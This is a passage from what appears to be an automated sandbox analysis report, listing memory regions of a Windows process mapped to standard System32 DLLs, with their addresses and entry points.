0x7ffb1a358fff monitored = 0 entry_point = 0x7ffb1a3521d0 region_type = mapped_file name = "httpprxc.dll" filename = "\\Windows\\System32\\httpprxc.dll" (normalized: "c:\\windows\\system32\\httpprxc.dll") Region: id = 1422 start_va = 0x7ffb1a510000 end_va = 0x7ffb1a521fff monitored = 0 entry_point = 0x7ffb1a513580 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 1423 start_va = 0x7ffb1a590000 end_va = 0x7ffb1a5a3fff monitored = 0 entry_point = 0x7ffb1a593710 region_type = mapped_file name = "mskeyprotect.dll" filename = "\\Windows\\System32\\mskeyprotect.dll" (normalized: "c:\\windows\\system32\\mskeyprotect.dll") Region: id = 1424 start_va = 0x7ffb1a5b0000 end_va = 0x7ffb1a5d7fff monitored = 0 entry_point = 0x7ffb1a5befc0 region_type = mapped_file name = "dssenh.dll" filename = "\\Windows\\System32\\dssenh.dll" (normalized: "c:\\windows\\system32\\dssenh.dll") Region: id = 1425 start_va = 0x7ffb1a640000 end_va = 0x7ffb1a65dfff monitored = 0 entry_point = 0x7ffb1a64ef80 region_type = mapped_file name = "ncryptsslp.dll" filename = "\\Windows\\System32\\ncryptsslp.dll" (normalized: "c:\\windows\\system32\\ncryptsslp.dll") Region: id = 1426 start_va = 0x7ffb1a9b0000 end_va = 0x7ffb1aa2ffff monitored = 0 entry_point = 0x7ffb1a9dd280 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1427 start_va = 0x7ffb1aa70000 end_va = 0x7ffb1aa85fff monitored = 0 entry_point = 0x7ffb1aa71d50 region_type = mapped_file name = "wwapi.dll" filename = "\\Windows\\System32\\wwapi.dll" (normalized: "c:\\windows\\system32\\wwapi.dll") Region: id = 1428 start_va = 0x7ffb1c700000 end_va = 0x7ffb1c70afff monitored = 0 entry_point = 0x7ffb1c701de0 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 1429 start_va = 0x7ffb1c710000 end_va = 0x7ffb1c719fff monitored = 0 entry_point = 0x7ffb1c7114c0 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1430 start_va = 0x7ffb1cb20000 end_va = 0x7ffb1cb34fff monitored = 0 entry_point = 0x7ffb1cb22dc0 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll") Region: id = 1431 start_va = 0x7ffb1d1d0000 end_va = 0x7ffb1d1dffff monitored = 0 entry_point = 0x7ffb1d1d1700 region_type = mapped_file name = "proximityservicepal.dll" filename = "\\Windows\\System32\\ProximityServicePal.dll" (normalized: "c:\\windows\\system32\\proximityservicepal.dll") Region: id = 1432 start_va = 0x7ffb1d1e0000 end_va = 0x7ffb1d1e8fff monitored = 0 entry_point = 0x7ffb1d1e1ed0 region_type = mapped_file name = "proximitycommonpal.dll" filename = "\\Windows\\System32\\ProximityCommonPal.dll" (normalized: "c:\\windows\\system32\\proximitycommonpal.dll") Region: id = 1433 start_va = 0x7ffb1d1f0000 end_va = 0x7ffb1d21cfff monitored = 0 entry_point = 0x7ffb1d1f2290 region_type = mapped_file name = "proximitycommon.dll" filename = "\\Windows\\System32\\ProximityCommon.dll" (normalized: "c:\\windows\\system32\\proximitycommon.dll") Region: id = 1434 start_va = 0x7ffb1d220000 end_va = 0x7ffb1d271fff monitored = 0 entry_point = 0x7ffb1d2238e0 region_type = mapped_file name = "proximityservice.dll" filename = "\\Windows\\System32\\ProximityService.dll" (normalized: "c:\\windows\\system32\\proximityservice.dll") Region: id = 1435 start_va = 0x7ffb1d700000 end_va = 0x7ffb1d70dfff monitored = 0 entry_point = 0x7ffb1d701460 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 1436 start_va = 0x7ffb1d8c0000 end_va = 0x7ffb1d959fff monitored = 0 entry_point = 0x7ffb1d8dada0 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 1437 start_va = 0x7ffb1d960000 end_va = 0x7ffb1d974fff monitored = 0 entry_point = 0x7ffb1d963460 region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 1438 start_va = 0x7ffb1da70000 end_va = 0x7ffb1dab0fff monitored = 0 entry_point = 0x7ffb1da74840 region_type = mapped_file name = "usermgrproxy.dll" filename = "\\Windows\\System32\\UserMgrProxy.dll" (normalized: "c:\\windows\\system32\\usermgrproxy.dll") Region: id = 1439 start_va = 0x7ffb1dac0000 end_va = 0x7ffb1db26fff monitored = 0 entry_point = 0x7ffb1dac63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1440 start_va = 0x7ffb1dc60000 end_va = 0x7ffb1dd1ffff monitored = 0 entry_point = 0x7ffb1dc8fd20 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 1441 start_va = 0x7ffb1dd20000 end_va = 0x7ffb1dd39fff monitored = 0 entry_point = 0x7ffb1dd22430 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1442 start_va = 0x7ffb1dd40000 end_va = 0x7ffb1dd55fff monitored = 0 entry_point = 0x7ffb1dd419f0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1443 start_va = 0x7ffb1dd60000 end_va = 0x7ffb1dd97fff monitored = 0 entry_point = 0x7ffb1dd78cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1444 start_va = 0x7ffb1dda0000 end_va = 0x7ffb1ddaafff monitored = 0 entry_point = 0x7ffb1dda1d30 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1445 start_va = 0x7ffb1ddb0000 end_va = 0x7ffb1de95fff monitored = 0 entry_point = 0x7ffb1ddccf10 region_type = mapped_file name = "usermgr.dll" filename = "\\Windows\\System32\\usermgr.dll" (normalized: "c:\\windows\\system32\\usermgr.dll") Region: id = 1446 start_va = 0x7ffb1dff0000 end_va = 0x7ffb1e01dfff monitored = 0 entry_point = 0x7ffb1dff7550 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 1447 start_va = 0x7ffb1e020000 end_va = 0x7ffb1e02cfff monitored = 0 entry_point = 0x7ffb1e022ca0 region_type = mapped_file name = "csystemeventsbrokerclient.dll" filename = "\\Windows\\System32\\CSystemEventsBrokerClient.dll" (normalized: "c:\\windows\\system32\\csystemeventsbrokerclient.dll") Region: id = 1448 start_va = 0x7ffb1e030000 end_va = 0x7ffb1e05efff monitored = 0 entry_point = 0x7ffb1e038910 region_type = mapped_file name = "wptaskscheduler.dll" filename = "\\Windows\\System32\\WPTaskScheduler.dll" (normalized: "c:\\windows\\system32\\wptaskscheduler.dll") Region: id = 1449 start_va = 0x7ffb1e070000 end_va = 0x7ffb1e085fff monitored = 0 entry_point = 0x7ffb1e071b60 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1450 start_va = 0x7ffb1e130000 end_va = 0x7ffb1e13ffff monitored = 0 entry_point = 0x7ffb1e132c60 region_type = mapped_file name = "usermgrcli.dll" filename = "\\Windows\\System32\\usermgrcli.dll" (normalized: "c:\\windows\\system32\\usermgrcli.dll") Region: id = 1451 start_va = 0x7ffb1e140000 end_va = 0x7ffb1e153fff monitored = 0 entry_point = 0x7ffb1e142d50 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 1452 start_va = 0x7ffb1e2c0000 end_va = 0x7ffb1e2d1fff monitored = 0 entry_point = 0x7ffb1e2c1a80 region_type = mapped_file name = "bitsproxy.dll" filename = "\\Windows\\System32\\BitsProxy.dll" (normalized: "c:\\windows\\system32\\bitsproxy.dll") Region: id = 1453 start_va = 0x7ffb1e440000 end_va = 0x7ffb1e4d2fff monitored = 0 entry_point = 0x7ffb1e449680 region_type = mapped_file name = "msvcp_win.dll" filename = "\\Windows\\System32\\msvcp_win.dll" (normalized: "c:\\windows\\system32\\msvcp_win.dll") Region: id = 1454 start_va = 0x7ffb1e5f0000 end_va = 0x7ffb1e608fff monitored = 0 entry_point = 0x7ffb1e5f4520 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 1455 start_va = 0x7ffb1e820000 end_va = 0x7ffb1e88dfff monitored = 0 entry_point = 0x7ffb1e827f60 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 1456 start_va = 0x7ffb1e890000 end_va = 0x7ffb1e8a0fff monitored = 0 entry_point = 0x7ffb1e893320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 1457 start_va = 0x7ffb1e8b0000 end_va = 0x7ffb1e8f0fff monitored = 0 entry_point = 0x7ffb1e8c7eb0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 1458 start_va = 0x7ffb1e900000 end_va = 0x7ffb1e9fbfff monitored = 0 entry_point = 0x7ffb1e936df0 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 1459 start_va = 0x7ffb1ea00000 end_va = 0x7ffb1eaadfff monitored = 0 entry_point = 0x7ffb1ea180c0 region_type = mapped_file name = "windows.networking.connectivity.dll" filename = "\\Windows\\System32\\Windows.Networking.Connectivity.dll" (normalized: "c:\\windows\\system32\\windows.networking.connectivity.dll") Region: id = 1460 start_va = 0x7ffb1eab0000 end_va = 0x7ffb1eac1fff monitored = 0 entry_point = 0x7ffb1eab9260 region_type = mapped_file name = "rilproxy.dll" filename = "\\Windows\\System32\\rilproxy.dll" (normalized: "c:\\windows\\system32\\rilproxy.dll") Region: id = 1461 start_va = 0x7ffb1ead0000 end_va = 0x7ffb1eb80fff monitored = 0 entry_point = 0x7ffb1eb488b0 region_type = mapped_file name = "cellularapi.dll" filename = "\\Windows\\System32\\CellularAPI.dll" (normalized: "c:\\windows\\system32\\cellularapi.dll") Region: id = 1462 start_va = 0x7ffb1eb90000 end_va = 0x7ffb1ebb4fff monitored = 0 entry_point = 0x7ffb1eba2f20 region_type = mapped_file name = "wificonnapi.dll" filename = "\\Windows\\System32\\wificonnapi.dll" (normalized: "c:\\windows\\system32\\wificonnapi.dll") Region: id = 1463 start_va = 0x7ffb1ebc0000 end_va = 0x7ffb1ebd0fff monitored = 0 entry_point = 0x7ffb1ebc7ea0 region_type = mapped_file name = "dcpapi.dll" filename = "\\Windows\\System32\\dcpapi.dll" (normalized: "c:\\windows\\system32\\dcpapi.dll") Region: id = 1464 start_va = 0x7ffb1ebe0000 end_va = 0x7ffb1ebf9fff monitored = 0 entry_point = 0x7ffb1ebe2cf0 region_type = mapped_file name = "locationpelegacywinlocation.dll" filename = "\\Windows\\System32\\LocationPeLegacyWinLocation.dll" (normalized: "c:\\windows\\system32\\locationpelegacywinlocation.dll") Region: id = 1465 start_va = 0x7ffb1ec00000 end_va = 0x7ffb1ec0bfff monitored = 0 entry_point = 0x7ffb1ec014d0 region_type = mapped_file name = "locationframeworkps.dll" filename = "\\Windows\\System32\\LocationFrameworkPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkps.dll") Region: id = 1466 start_va = 0x7ffb1ec10000 end_va = 0x7ffb1ec64fff monitored = 0 entry_point = 0x7ffb1ec13fb0 region_type = mapped_file name = "policymanager.dll" filename = "\\Windows\\System32\\policymanager.dll" (normalized: "c:\\windows\\system32\\policymanager.dll") Region: id = 1467 start_va = 0x7ffb1ec70000 end_va = 0x7ffb1eca6fff monitored = 0 entry_point = 0x7ffb1ec76020 region_type = mapped_file name = "gnssadapter.dll" filename = "\\Windows\\System32\\GnssAdapter.dll" (normalized: "c:\\windows\\system32\\gnssadapter.dll") Region: id = 1468 start_va = 0x7ffb1ecb0000 end_va = 0x7ffb1eccffff monitored = 0 entry_point = 0x7ffb1ecb39a0 region_type = mapped_file name = "locationwinpalmisc.dll" filename = "\\Windows\\System32\\LocationWinPalMisc.dll" (normalized: "c:\\windows\\system32\\locationwinpalmisc.dll") Region: id = 1469 start_va = 0x7ffb1f310000 end_va = 0x7ffb1f691fff monitored = 0 entry_point = 0x7ffb1f361220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 1470 start_va = 0x7ffb1f6a0000 end_va = 0x7ffb1f7d5fff monitored = 0 entry_point = 0x7ffb1f6cf350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 1471 start_va = 0x7ffb208d0000 end_va = 0x7ffb209ddfff monitored = 0 entry_point = 0x7ffb2091eaa0 region_type = mapped_file name = "mrmcorer.dll" filename = "\\Windows\\System32\\MrmCoreR.dll" (normalized: "c:\\windows\\system32\\mrmcorer.dll") Region: id = 1472 start_va = 0x7ffb20f80000 end_va = 0x7ffb2103efff monitored = 0 entry_point = 0x7ffb20fa1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 1473 start_va = 0x7ffb21040000 end_va = 0x7ffb21107fff monitored = 0 entry_point = 0x7ffb210813f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1474 start_va = 0x7ffb21110000 end_va = 0x7ffb21170fff monitored = 0 entry_point = 0x7ffb21114b50 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 1475 start_va = 0x7ffb21180000 end_va = 0x7ffb212fbfff monitored = 0 entry_point = 0x7ffb211d1650 region_type = mapped_file name = "locationframework.dll" filename = "\\Windows\\System32\\LocationFramework.dll" (normalized: "c:\\windows\\system32\\locationframework.dll") Region: id = 1476 start_va = 0x7ffb21300000 end_va = 0x7ffb2130afff monitored = 0 entry_point = 0x7ffb21301770 region_type = mapped_file name = "lfsvc.dll" filename = "\\Windows\\System32\\lfsvc.dll" (normalized: "c:\\windows\\system32\\lfsvc.dll") Region: id = 1477 start_va = 0x7ffb21310000 end_va = 0x7ffb21326fff monitored = 0 entry_point = 0x7ffb21315630 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 1478 start_va = 0x7ffb21330000 end_va = 0x7ffb2136dfff monitored = 0 entry_point = 0x7ffb2133a050 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 1479 start_va = 0x7ffb21370000 end_va = 0x7ffb21396fff monitored = 0 entry_point = 0x7ffb21373bf0 region_type = mapped_file name = "profsvcext.dll" filename = "\\Windows\\System32\\profsvcext.dll" (normalized: "c:\\windows\\system32\\profsvcext.dll") Region: id = 1480 start_va = 0x7ffb213a0000 end_va = 0x7ffb213f4fff monitored = 0 entry_point = 0x7ffb213afc00 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 1481 start_va = 0x7ffb21400000 end_va = 0x7ffb21412fff monitored = 0 entry_point = 0x7ffb214057f0 region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 1482 start_va = 0x7ffb21420000 end_va = 0x7ffb2142bfff monitored = 0 entry_point = 0x7ffb21422830 region_type = mapped_file name = "bi.dll" filename = "\\Windows\\System32\\bi.dll" (normalized: "c:\\windows\\system32\\bi.dll") Region: id = 1483 start_va = 0x7ffb21430000 end_va = 0x7ffb21439fff monitored = 0 entry_point = 0x7ffb21431660 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 1484 start_va = 0x7ffb21440000 end_va = 0x7ffb21457fff monitored = 0 entry_point = 0x7ffb21445910 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1485 start_va = 0x7ffb21460000 end_va = 0x7ffb215acfff monitored = 0 entry_point = 0x7ffb214a3da0 region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 1486 start_va = 0x7ffb21640000 end_va = 0x7ffb216d1fff monitored = 0 entry_point = 0x7ffb2168a780 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 1487 start_va = 0x7ffb21760000 end_va = 0x7ffb217d9fff monitored = 0 entry_point = 0x7ffb21787630 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1488 start_va = 0x7ffb218d0000 end_va = 0x7ffb218eefff monitored = 0 entry_point = 0x7ffb218d4960 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 1489 start_va = 0x7ffb218f0000 end_va = 0x7ffb21953fff monitored = 0 entry_point = 0x7ffb21905ae0 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1490 start_va = 0x7ffb21b20000 end_va = 0x7ffb21b48fff monitored = 0 entry_point = 0x7ffb21b2ca00 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 1491 start_va = 0x7ffb21b50000 end_va = 0x7ffb21b85fff monitored = 0 entry_point = 0x7ffb21b60070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 1492 start_va = 0x7ffb22640000 end_va = 0x7ffb22647fff monitored = 0 entry_point = 0x7ffb226413e0 region_type = mapped_file name = "dabapi.dll" filename = "\\Windows\\System32\\dabapi.dll" (normalized: "c:\\windows\\system32\\dabapi.dll") Region: id = 1493 start_va = 0x7ffb22ee0000 end_va = 0x7ffb22f58fff monitored = 0 entry_point = 0x7ffb22effb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 1494 start_va = 0x7ffb23110000 end_va = 0x7ffb235a2fff monitored = 0 entry_point = 0x7ffb2311f760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 1495 start_va = 0x7ffb235b0000 end_va = 0x7ffb23616fff monitored = 0 entry_point = 0x7ffb235ce710 region_type = mapped_file name = "bcp47langs.dll" filename = "\\Windows\\System32\\BCP47Langs.dll" (normalized: "c:\\windows\\system32\\bcp47langs.dll") Region: id = 1496 start_va = 0x7ffb23670000 end_va = 0x7ffb237f5fff monitored = 0 entry_point = 0x7ffb236bd700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1497 start_va = 0x7ffb23800000 end_va = 0x7ffb2381bfff monitored = 0 entry_point = 0x7ffb238037a0 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 1498 start_va = 0x7ffb23860000 end_va = 0x7ffb23872fff monitored = 0 entry_point = 0x7ffb23862760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1499 start_va = 0x7ffb239d0000 end_va = 0x7ffb23a0ffff monitored = 0 entry_point = 0x7ffb239e1960 region_type = mapped_file name = "brokerlib.dll" filename = "\\Windows\\System32\\BrokerLib.dll" (normalized: "c:\\windows\\system32\\brokerlib.dll") Region: id = 1500 start_va = 0x7ffb23aa0000 end_va = 0x7ffb23b35fff monitored = 0 entry_point = 0x7ffb23ac5570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1501 start_va = 0x7ffb23b60000 end_va = 0x7ffb23b86fff monitored = 0 entry_point = 0x7ffb23b67940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1502 start_va = 0x7ffb23b90000 end_va = 0x7ffb23c39fff monitored = 0 entry_point = 0x7ffb23bb7910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1503 start_va = 0x7ffb23c40000 end_va = 0x7ffb23d3ffff monitored = 0 entry_point = 0x7ffb23c80f80 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll") Region: id = 1504 start_va = 0x7ffb23dd0000 end_va = 0x7ffb23ddbfff monitored = 0 entry_point = 0x7ffb23dd2480 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 1505 start_va = 0x7ffb23ea0000 end_va = 0x7ffb23ed1fff monitored = 0 entry_point = 0x7ffb23eb2340 region_type = mapped_file name = "fwbase.dll" filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll") Region: id = 1506 start_va = 0x7ffb24110000 end_va = 0x7ffb2411bfff monitored = 0 entry_point = 0x7ffb24112790 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 1507 start_va = 0x7ffb24120000 end_va = 0x7ffb24143fff monitored = 0 entry_point = 0x7ffb24123260 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1508 start_va = 0x7ffb242c0000 end_va = 0x7ffb243b3fff monitored = 0 entry_point = 0x7ffb242ca960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 1509 start_va = 0x7ffb24410000 end_va = 0x7ffb24458fff monitored = 0 entry_point = 0x7ffb2441a090 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 1510 start_va = 0x7ffb24530000 end_va = 0x7ffb2453bfff monitored = 0 entry_point = 0x7ffb245327e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1511 start_va = 0x7ffb24610000 end_va = 0x7ffb24640fff monitored = 0 entry_point = 0x7ffb24617d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1512 start_va = 0x7ffb24670000 end_va = 0x7ffb246e9fff monitored = 0 entry_point = 0x7ffb24691a50 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 1513 start_va = 0x7ffb24730000 end_va = 0x7ffb24763fff monitored = 0 entry_point = 0x7ffb2474ae70 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1514 start_va = 0x7ffb24770000 end_va = 0x7ffb24779fff monitored = 0 entry_point = 0x7ffb24771830 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll") Region: id = 1515 start_va = 0x7ffb24880000 end_va = 0x7ffb2489efff monitored = 0 entry_point = 0x7ffb24885d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1516 start_va = 0x7ffb249f0000 end_va = 0x7ffb24a4bfff monitored = 0 entry_point = 0x7ffb24a06f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1517 start_va = 0x7ffb24aa0000 end_va = 0x7ffb24ab6fff monitored = 0 entry_point = 0x7ffb24aa79d0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1518 start_va = 0x7ffb24bc0000 end_va = 0x7ffb24bcafff monitored = 0 entry_point = 0x7ffb24bc19a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1519 start_va = 0x7ffb24c00000 end_va = 0x7ffb24c20fff monitored = 0 entry_point = 0x7ffb24c10250 region_type = mapped_file name = "joinutil.dll" filename = "\\Windows\\System32\\joinutil.dll" (normalized: "c:\\windows\\system32\\joinutil.dll") Region: id = 1520 start_va = 0x7ffb24c50000 end_va = 0x7ffb24c89fff monitored = 0 entry_point = 0x7ffb24c58d20 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll") Region: id = 1521 start_va = 0x7ffb24c90000 end_va = 0x7ffb24cb6fff monitored = 0 entry_point = 0x7ffb24ca0aa0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 1522 start_va = 0x7ffb24da0000 end_va = 0x7ffb24dccfff monitored = 0 entry_point = 0x7ffb24db9d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1523 start_va = 0x7ffb24f30000 end_va = 0x7ffb24f85fff monitored = 0 entry_point = 0x7ffb24f40bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1524 start_va = 0x7ffb24f90000 end_va = 0x7ffb24fa8fff monitored = 0 entry_point = 0x7ffb24f95e10 region_type = mapped_file name = "eventaggregation.dll" filename = "\\Windows\\System32\\EventAggregation.dll" (normalized: "c:\\windows\\system32\\eventaggregation.dll") Region: id = 1525 start_va = 0x7ffb24fb0000 end_va = 0x7ffb24fd8fff monitored = 0 entry_point = 0x7ffb24fc4530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1526 start_va = 0x7ffb24fe0000 end_va = 0x7ffb25078fff monitored = 0 entry_point = 0x7ffb2500f4e0 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 1527 start_va = 0x7ffb25120000 end_va = 0x7ffb2512efff monitored = 0 entry_point = 0x7ffb25123210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1528 start_va = 0x7ffb25130000 end_va = 0x7ffb2517afff monitored = 0 entry_point = 0x7ffb251335f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1529 